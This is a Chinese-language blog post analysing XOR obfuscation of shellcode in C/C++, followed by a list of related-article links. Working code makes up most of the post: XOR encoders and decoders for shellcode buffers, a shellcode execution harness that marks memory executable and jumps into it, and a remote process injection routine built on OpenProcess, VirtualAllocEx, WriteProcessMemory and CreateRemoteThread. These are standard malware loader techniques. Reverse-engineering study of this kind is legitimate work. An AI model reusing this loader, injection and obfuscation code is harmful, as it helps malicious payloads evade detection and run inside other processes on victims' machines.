C/C++ 简易异或加密的分析
异或,加解密shellcode代码的简单分析方法。
#include <stdio.h>
#include <Windows.h>
unsigned char buf[] = "\xba\xa9\xb0\x07\x68\xdd\xc3\xd9\x74\x24\xf4\x5e\x31\xc9\xb1";
int main(int argc, char* argv[])
{
int password = 1025;
unsigned char enShellCode[500];
unsigned char deShellCode[500];
int nLen = sizeof(buf)-1;
for (int i = 0; i<nLen; i++)
{
enShellCode[i] = buf[i] ^ password;
printf("\\x%x", enShellCode[i]);
}
printf("\n");
for (int i = 0; i<nLen; i++)
{
deShellCode[i] = enShellCode[i] ^ password;
printf("\\x%x", deShellCode[i]);
}
system("pause");
return 0;
}
debug版本

release 版本,先找程序OEP,识别看,argc,argv参数,即可,vs2013 main函数特征 FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ??

优化的很厉害。

解密方式,寻找到加密后的字符串数据,然后找到异或密码,即可编写出解密程序,完成shellcode的还原。
#include <stdio.h>
#include <Windows.h>
unsigned char buf[] = "\xba\xa9\xb0\x07\x68\xdd\xc3\xd9\x74\x24\xf4\x5e\x31\xc9\xb1";
int main(int argc, char* argv[])
{
unsigned char enShellCode[500];
int nLen = sizeof(buf) - 1;
for (int i = 0; i<nLen; i++)
{
buf[i] = buf[i] ^ 25;
buf[i] = buf[i] ^ 3;
enShellCode[i] = buf[i];
printf("\\x%x", enShellCode[i]);
}
system("pause");
return 0;
}

如上的几种写法,再release模式下,会被优化成一句,所以达不到混淆作用。

另一个异或案例,加密后将其写入到一个文件中,下fopen()断点,尝试拦截。
#include <stdio.h>
#include <Windows.h>
char ShellCode[] = "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C";
void encoder(char* input, unsigned char key)
{
int i = 0, len = 0;
FILE * fp;
unsigned char * output;
len = strlen(input);
output = (unsigned char *)malloc(len + 1);
for (i = 0; i<len; i++)
output[i] = input[i] ^ key;
fp = fopen("shellcode.raw", "w+");
fprintf(fp, "\"");
for (i = 0; i<len; i++)
{
fprintf(fp, "\\x%0.2x", output[i]);
if ((i + 1) % 16 == 0)
fprintf(fp, "\"\n\"");
}
fprintf(fp, "\";");
fclose(fp);
// 输出加密后的文件
for (i = 0; i<len; i++)
{
printf("%0.2x ", output[i]);
if ((i + 1) % 16 == 0)
{
printf("\n");
}
}
free(output);
}
int main(int argc,char *argv[])
{
encoder(ShellCode, 1233);
system("pause");
return 0;
}
fopen调用了fsopen(),fsopen()同样可拦截。

ShellCode代码执行盒:
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
unsigned int char_in_hex;
char *shellcode = argv[1];
unsigned int iterations = strlen(shellcode);
unsigned int memory_allocation = strlen(shellcode) / 2;
for (unsigned int i = 0; i< iterations - 1; i++)
{
sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}
void *exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, shellcode, memory_allocation);
DWORD ignore;
VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
(*(void(*)()) exec)();
return 0;
}
ShellCode注入进程:
#include <stdio.h>
#include <windows.h>
unsigned char ShellCode[] = "shellcode代码";
BOOL InjectShellCode(int Pid)
{
HANDLE Handle, remoteThread;
PVOID remoteBuffer;
Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL);
remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(Handle);
}
int main(int argc, char *argv[])
{
InjectShellCode(1024);
return 0;
}
C/C++ 简易异或加密的分析的更多相关文章
- 加密脚本分析—evil.py
加密脚本分析-evil.py 1.题目 源文件 一共两个文件 enc_flag.txt evil.py(原文件无注释) 1 # coding: utf-8 2 3 import base64 4 im ...
- python 字符串 转 bit, bitarray 异或加密
Python中异或加密要将str 转为 bitarray, 提示: int类型和纯数字的字符串也可以异或处理, 可能更方便 from bitarray import bitarray def str2 ...
- CBrother异或加密与C++异或加密函数
CBrother脚本异或加密与C++异或加密函数 异或对于数据加密来说是最简单的方式,在一般的安全性要求不是非常高的地方,异或加密是最好的选择. C++异或加密代码 int g_PWD = 0xffe ...
- WANNACRY病毒中的加密技术分析
WANNACRY病毒中的加密技术分析 2019/11/6 16:56:46 分析WANNACRY病毒中的加解密技术的应用.分析内容包括但不限于:对称密码技术和公钥密码技术的作用:受害者支付赎金后就会恢 ...
- 异或加密 - cr2-many-time-secrets(攻防世界) - 异性相吸(buuctf)
Crib dragging attack 在开始了解 Crib dragging attack 之前,先来理一理 异或. 异或加密 [详情请戳这里] XOR 加密简介 异或加密特性: ① 两个值相同时 ...
- zip伪加密文件分析(进阶版)
作者近日偶然获得一misc题,本来以为手到擒来,毕竟这是个大家都讨论烂了的题,详情访问链接http://blog.csdn.net/ETF6996/article/details/51946250.既 ...
- Qt使用异或进行加密解密
在加密,解密中,异或运算应该时比较简单的一种.下面的代码,采用异或运算进行加密,解密: 点击(此处)折叠或打开 #include <QtCore/QCoreApplication&g ...
- 有道翻译js加密参数分析
平时在渗透测试过程中,遇到传输的数据被js加密的比较多,这里我以有道翻译为例,来分析一下它的加密参数 前言 这是有道翻译的界面,我们随便输入一个,抓包分析 我们发现返回了一段json的字符串,内容就是 ...
- 一个异或加密方案--C语言实现
核心代码: char encrypt( char f , char c) { return f^c; } int OutEncrypt( char *FilePath, char *SecretWor ...
- php异或加密解密算法的实现
function xor_enc($str,$key) { $crytxt = ''; $keylen = strlen($key); for($i=0;$i<strlen($str);$i++ ...
随机推荐
- 【flask】flask请求上下文分析 threading.local对象 偏函数 flask1.1.4生命执行流程 wtforms
目录 上节回顾 今日内容 1 请求上下文分析(源码:request原理) 1.1 导出项目的依赖 1.2 函数和方法 1.3 threading.local对象 1.4 偏函数 1.5 flask 整 ...
- 你真的了解token续期嘛?
Spring Boot + Vue中的Token续签机制 在现代的全栈应用开发中,Spring Boot作为后端框架和Vue.js作为前端框架的组合非常流行.在这种架构中实现Token续签是保障应用安 ...
- 30例 | 一文搞懂python日期时间处理
前言 datetime是python的内置模块,用来处理日期和时间. 该模块常用的类有: 类名 功能说明 date 日期对象 time 时间对象 datetime 日期时间对象 timedelta 时 ...
- mysql和redis库存扣减和优化
前言 大流量情况下的库存是老生常谈的问题了,在这里我整理一下mysql和redis应对扣除库存的方案,采用jmeter进行压测. JMETER设置 库存初始值50,线程数量1000个,1秒以内启动全部 ...
- 【QtJson】用Qt自带的QJson,直接一步到位封装和解析一个类的实例对象!
之前貌似没有看过类似的代码 我们现在的要求就是直接在不知道类成员的情况下,把一个类丢进去就能生成一个Json字符串,也可以把一个字符串和一个类成员丢进去就能根据成员变量名匹配到元素并赋值,大概就这样 ...
- SVN被锁定的处理方案
当svn提交文件时,如下提示,文件被锁定:
- 使用 Woodpecker 与 Gitea 搭建纯开源的 CI 流程|极限降本
最近开源了一个挂机冒险游戏<模拟龙生>,有热心同学不仅帮忙做优化,还连夜在给游戏加页面,泪目.详见文末小结部分. 一.前言 大家好,这里是白泽.这篇文章是<Woodpecker CI ...
- 图的遍历(DFS和BFS)
声明:图片及内容基于https://www.bilibili.com/video/BV1rp4y1Q72r?from=articleDetail 图的遍历 深度优先遍历(DFS) DFS核心是递归和栈 ...
- MoeCTF 2023(西电CTF新生赛)WP
个人排名 签到 hello CTFer 1.题目描述: [非西电] 同学注意: 欢迎你来到MoeCTF 2023,祝你玩的开心! 请收下我们送给你的第一份礼物: https://cyberchef.o ...
- IDEA:端口号被占用解决办法
idea遇到这样的问题:如下图 解决办法 步骤1:通过端口号找到pid打开dos命令行,输入netstat -ano | find "9009"得到下列内容,看到最后一行就是pid ...